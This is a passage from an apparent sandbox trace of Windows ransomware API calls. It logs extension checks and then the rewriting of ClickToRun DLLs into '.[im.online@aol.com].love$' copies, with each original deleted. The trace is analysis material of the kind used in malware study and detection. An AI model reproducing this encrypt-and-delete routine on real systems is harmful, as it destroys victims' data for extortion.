lpString2=".dll") returned -1 [0284.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0284.344] lstrlenW (lpString=".1cd") returned 4 [0284.344] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0284.344] lstrlenW (lpString=".jpg") returned 4 [0284.344] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0284.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0284.344] lstrlenW (lpString=".doc") returned 4 [0284.344] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.344] lstrlenW (lpString=".docx") returned 5 [0284.344] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.344] lstrlenW (lpString=".pdf") returned 4 [0284.344] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.344] lstrlenW (lpString=".xls") returned 4 [0284.344] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.344] lstrlenW (lpString=".xlsx") returned 5 [0284.344] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.344] lstrlenW (lpString=".ppt") returned 4 [0284.344] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0284.345] lstrlenW (lpString=".zip") returned 4 [0284.345] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.345] lstrlenW (lpString=".rar") returned 4 [0284.345] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.345] lstrlenW (lpString=".bz2") returned 4 [0284.345] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.345] lstrlenW (lpString=".7z") returned 3 [0284.345] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0284.345] lstrlenW (lpString=".dbf") returned 4 [0284.345] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0284.345] lstrlenW (lpString=".1cd") returned 4 [0284.345] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.345] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0284.345] lstrlenW (lpString=".jpg") returned 4 [0284.345] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.346] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.346] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0284.346] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.347] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=22720) returned 1 [0284.347] CloseHandle (hObject=0x364) returned 1 [0284.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0284.347] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.347] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.347] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.348] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.348] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0284.349] GetLastError () returned 0x0 [0284.349] ReadFile (in: hFile=0x364, lpBuffer=0x3c22020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesRead=0x323fecc*=0x58c0, lpOverlapped=0x0) returned 1 [0284.352] WriteFile (in: hFile=0x360, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x323fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fc94*=0x58d0, lpOverlapped=0x0) returned 1 [0284.354] ReadFile (in: hFile=0x364, lpBuffer=0x3c22020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesRead=0x323fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.354] WriteFile (in: hFile=0x360, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x323fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fc94*=0x116, lpOverlapped=0x0) returned 1 [0284.354] SetEndOfFile (hFile=0x360) returned 1 [0284.354] CloseHandle (hObject=0x360) returned 1 [0284.354] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.354] SetEndOfFile (hFile=0x364) returned 1 [0284.356] CloseHandle (hObject=0x364) returned 1 [0284.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.356] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1 [0284.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0284.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0284.356] lstrlenW (lpString=".doc") returned 4 [0284.356] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.356] lstrlenW (lpString=".docx") returned 5 [0284.356] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.357] lstrlenW (lpString=".pdf") returned 4 [0284.357] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.357] lstrlenW (lpString=".xls") returned 4 [0284.357] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.357] lstrlenW (lpString=".xlsx") returned 5 [0284.357] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.357] lstrlenW (lpString=".ppt") returned 4 [0284.357] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0284.357] lstrlenW (lpString=".zip") returned 4 [0284.357] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.357] lstrlenW (lpString=".rar") returned 4 [0284.357] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.357] lstrlenW (lpString=".bz2") returned 4 [0284.357] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.357] lstrlenW (lpString=".7z") returned 3 [0284.357] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0284.357] lstrlenW (lpString=".dbf") returned 4 [0284.357] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0284.357] lstrlenW (lpString=".1cd") returned 4 [0284.357] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0284.357] lstrlenW (lpString=".jpg") returned 4 [0284.357] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0284.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0284.358] lstrlenW (lpString=".doc") returned 4 [0284.358] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.358] lstrlenW (lpString=".docx") returned 5 [0284.358] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.358] lstrlenW (lpString=".pdf") returned 4 [0284.358] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.358] lstrlenW (lpString=".xls") returned 4 [0284.358] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.358] lstrlenW (lpString=".xlsx") returned 5 [0284.358] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.358] lstrlenW (lpString=".ppt") returned 4 [0284.358] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0284.358] lstrlenW (lpString=".zip") returned 4 [0284.358] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.358] lstrlenW (lpString=".rar") returned 4 [0284.358] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.358] lstrlenW (lpString=".bz2") returned 4 [0284.358] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.358] lstrlenW (lpString=".7z") returned 3 [0284.358] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0284.358] lstrlenW (lpString=".dbf") returned 4 [0284.358] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0284.359] lstrlenW (lpString=".1cd") returned 4 [0284.359] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.359] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91 [0284.359] lstrlenW (lpString=".jpg") returned 4 [0284.359] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.359] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.359] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0284.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.360] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=19136) returned 1 [0284.360] CloseHandle (hObject=0x364) returned 1 [0284.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0284.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.361] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.361] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0284.362] GetLastError () returned 0x0 [0284.362] ReadFile (in: hFile=0x364, lpBuffer=0x3c22020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesRead=0x323fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0284.365] WriteFile (in: hFile=0x360, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x323fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0284.583] ReadFile (in: hFile=0x364, lpBuffer=0x3c22020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesRead=0x323fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.583] WriteFile (in: hFile=0x360, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x323fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fc94*=0x11e, lpOverlapped=0x0) returned 1 [0284.584] SetEndOfFile (hFile=0x360) returned 1 [0284.639] CloseHandle (hObject=0x360) returned 1 [0284.639] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.639] SetEndOfFile (hFile=0x364) returned 1 [0284.653] CloseHandle (hObject=0x364) returned 1 [0284.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.670] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 1 [0284.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0284.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0284.670] lstrlenW (lpString=".doc") returned 4 [0284.670] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.670] lstrlenW (lpString=".docx") returned 5 [0284.670] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.670] lstrlenW (lpString=".pdf") returned 4 [0284.670] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.670] lstrlenW (lpString=".xls") returned 4 [0284.671] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.671] lstrlenW (lpString=".xlsx") returned 5 [0284.671] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.671] lstrlenW (lpString=".ppt") returned 4 [0284.671] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0284.671] lstrlenW (lpString=".zip") returned 4 [0284.671] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.671] lstrlenW (lpString=".rar") returned 4 [0284.671] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.671] lstrlenW (lpString=".bz2") returned 4 [0284.671] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.671] lstrlenW (lpString=".7z") returned 3 [0284.671] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0284.671] lstrlenW (lpString=".dbf") returned 4 [0284.671] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0284.671] lstrlenW (lpString=".1cd") returned 4 [0284.671] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0284.671] lstrlenW (lpString=".jpg") returned 4 [0284.671] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0284.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0284.671] lstrlenW (lpString=".doc") returned 4 [0284.671] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.672] lstrlenW (lpString=".docx") returned 5 [0284.672] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.672] lstrlenW (lpString=".pdf") returned 4 [0284.672] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.672] lstrlenW (lpString=".xls") returned 4 [0284.672] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.672] lstrlenW (lpString=".xlsx") returned 5 [0284.672] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.672] lstrlenW (lpString=".ppt") returned 4 [0284.672] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0284.672] lstrlenW (lpString=".zip") returned 4 [0284.672] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.672] lstrlenW (lpString=".rar") returned 4 [0284.672] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0284.672] lstrlenW (lpString=".bz2") returned 4 [0284.672] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0284.672] lstrlenW (lpString=".7z") returned 3 [0284.672] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0284.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0284.672] lstrlenW (lpString=".dbf") returned 4 [0284.672] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0284.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0284.672] lstrlenW (lpString=".1cd") returned 4 [0284.672] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0284.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned 95 [0284.672] lstrlenW (lpString=".jpg") returned 4 [0284.672] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0284.673] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0284.673] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31 [0284.673] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.674] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x323ff14 | out: lpFileSize=0x323ff14*=24768) returned 1 [0284.674] CloseHandle (hObject=0x364) returned 1 [0284.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0284.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0284.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0284.675] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.675] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0284.676] GetLastError () returned 0x0 [0284.676] ReadFile (in: hFile=0x364, lpBuffer=0x3c22020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesRead=0x323fecc*=0x60c0, lpOverlapped=0x0) returned 1 [0284.680] WriteFile (in: hFile=0x360, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x323fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0284.681] ReadFile (in: hFile=0x364, lpBuffer=0x3c22020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x323fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesRead=0x323fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.681] WriteFile (in: hFile=0x360, lpBuffer=0x3c22020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x323fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c22020*, lpNumberOfBytesWritten=0x323fc94*=0x112, lpOverlapped=0x0) returned 1 [0284.682] SetEndOfFile (hFile=0x360) returned 1 [0284.682] CloseHandle (hObject=0x360) returned 1 [0284.682] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x323fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.682] SetEndOfFile (hFile=0x364) returned 1 [0284.683] CloseHandle (hObject=0x364) returned 1 [0284.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0284.684] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1 [0284.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0284.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0284.684] lstrlenW (lpString=".doc") returned 4 [0284.684] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0284.684] lstrlenW (lpString=".docx") returned 5 [0284.684] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0284.684] lstrlenW (lpString=".pdf") returned 4 [0284.684] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0284.684] lstrlenW (lpString=".xls") returned 4 [0284.684] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0284.684] lstrlenW (lpString=".xlsx") returned 5 [0284.684] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0284.684] lstrlenW (lpString=".ppt") returned 4 [0284.684] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0284.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89 [0284.684] lstrlenW (lpString=".zip") returned 4 [0284.684] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0284.684] lstrlenW (lpString=".rar") returned 4 [0284.684] lstrcmpiW (lpString1=".rar", 